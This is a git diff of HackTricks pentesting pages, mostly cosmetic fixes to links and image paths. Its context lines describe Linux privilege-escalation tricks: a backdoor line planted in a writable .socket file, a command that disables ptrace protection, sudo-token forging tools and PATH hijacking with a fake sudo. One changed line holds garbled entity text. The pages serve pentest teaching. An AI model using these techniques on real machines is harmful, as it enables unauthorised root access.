 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -26,7 +26,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 In the following videos you can find the techniques mentioned in this page explained more in depth:
 
 * [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
-* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
+* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
 
 ## read-only / no-exec scenario
 
@@ -134,7 +134,7 @@ However, in this kind of containers these protections will usually exist, but yo
 
 You can find **examples** on how to **exploit some RCE vulnerabilities** to get scripting languages **reverse shells** and execute binaries from memory in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -149,7 +149,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

linux-hardening/linux-privilege-escalation-checklist.md

@@ -1,21 +1,21 @@
 # Checklist - Linux Privilege Escalation
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -116,7 +116,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
 * [ ] Are [**sudo** commands **limited** by **path**? can you **bypass** the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)?
 * [ ] [**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
 * [ ] [**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass
-* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload)
+* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld_preload)
 * [ ] [**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection) from a writable folder?
 * [ ] [**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
 * [ ] Can you [**read or modify sudoers files**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
@@ -168,7 +168,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
 * [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)?
 * [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)?
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -184,15 +184,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

linux-hardening/privilege-escalation/README.md

@@ -1,15 +1,15 @@
 # Linux Privilege Escalation
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>
@@ -556,7 +556,7 @@ Sockets can be configured using `.socket` files.
 ### Writable .socket files
 
 If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
-_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+&#xNAN;_&#x4E;ote that the system must be using that socket file configuration or the backdoor won't be executed_
 
 ### Writable sockets
 
@@ -1087,7 +1087,7 @@ Requirements to escalate privileges:
 
 (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`)
 
-If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
+If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo_inject)
 
 * The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
 
@@ -1113,7 +1113,7 @@ sudo su
 
 ### /var/run/sudo/ts/\<Username>
 
-If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\
+If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\
 For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing:
 
 ```bash
@@ -1158,7 +1158,7 @@ permit nopass demo as root cmd vim
 
 If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so when the user executes sudo, your sudo executable is executed.
 
-Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
+Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
 Or running something like:
 
@@ -1582,7 +1582,7 @@ This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails
 
 ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
 
-**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
+**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
 
 If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
 
@@ -1613,7 +1613,7 @@ On the other hand, `/etc/init` is associated with **Upstart**, a newer **service
 ### NFS Privilege escalation
 
 {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
-[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
+[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no_root_squash-misconfiguration-pe.md)
 {% endcontent-ref %}
 
 ### Escaping from restricted Shells
@@ -1635,7 +1635,7 @@ On the other hand, `/etc/init` is associated with **Upstart**, a newer **service
 
 ## More help
 
-[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
+[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
 
 ## Linux/Unix Privesc Tools
 
@@ -1669,19 +1669,19 @@ On the other hand, `/etc/init` is associated with **Upstart**, a newer **service
 * [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
 * [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
 * [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
-* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
+* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
 * [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>

macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -135,7 +135,7 @@ Of course from a red teams perspective you should be also interested in escalati
 
 ## macOS Compliance
 
-* [https://github.com/usnistgov/macos\_security](https://github.com/usnistgov/macos\_security)
+* [https://github.com/usnistgov/macos\_security](https://github.com/usnistgov/macos_security)
 
 ## References
 
@@ -145,7 +145,7 @@ Of course from a red teams perspective you should be also interested in escalati
 * [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
 * [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -169,7 +169,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md

@@ -9,7 +9,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -19,10 +19,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 
 Mach-o binaries contains a load command called **`LC_CODE_SIGNATURE`** that indicates the **offset** and **size** of the signatures inside the binary. Actually, using the GUI tool MachOView, it's possible to find at the end of the binary a section called **Code Signature** with this information:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
 
 The magic header of the Code Signature is **`0xFADE0CC0`**. Then you have information such as the length and the number of blobs of the superBlob that contains them.\
-It's possible to find this information in the [source code here](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
+It's possible to find this information in the [source code here](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276):
 
 ```c
 /*
@@ -60,7 +60,7 @@ Moreover, signatures cloud be detached from the binaries and stored in `/var/db/
 
 ## Code Directory Blob
 
-It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
+It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104):
 
 ```c
 typedef struct __CodeDirectory {
@@ -181,7 +181,7 @@ Actually, it's possible to see in the Code Directory structs a parameter called
 
 ## Code Signing Flags
 
-Every process has related a bitmask known as the `status` which is started by the kernel and some of them can be overridden by the **code signature**. These flags that can be included in the code signing are [defined in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L36):
+Every process has related a bitmask known as the `status` which is started by the kernel and some of them can be overridden by the **code signature**. These flags that can be included in the code signing are [defined in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
 
 ```c
 /* code signing attributes of a process */
@@ -228,7 +228,7 @@ Every process has related a bitmask known as the `status` which is started by th
 #define CS_ENTITLEMENT_FLAGS        (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
 ```
 
-Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
+Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
 
 ## Code Signature Requirements
 
@@ -320,7 +320,7 @@ The **kernel** is the one that **checks the code signature** before allowing the
 
 ## `cs_blobs` & `cs_blob`
 
-[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struct contains the information about the entitlement of the running process on it. `csb_platform_binary` also informs if the application is a platform binary (which is checked in different moments by the OS to apply security mechanisms like to protect the SEND rights to the task ports of these processes).
+[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) struct contains the information about the entitlement of the running process on it. `csb_platform_binary` also informs if the application is a platform binary (which is checked in different moments by the OS to apply security mechanisms like to protect the SEND rights to the task ports of these processes).
 
 ```c
 struct cs_blob {
@@ -394,7 +394,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

mobile-pentesting/android-app-pentesting/README.md

@@ -1,21 +1,21 @@
 # Android Applications Pentesting
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -245,7 +245,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
 
 ***
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -557,7 +557,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 
 ### **Android Application Analyzer**
 
-This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
+This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Intent Injection
 
@@ -584,7 +584,7 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b
 
 ***
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -730,7 +730,7 @@ super-analyzer {apk_file}
 
 ![](<../../.gitbook/assets/image (297).png>)
 
-StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications.
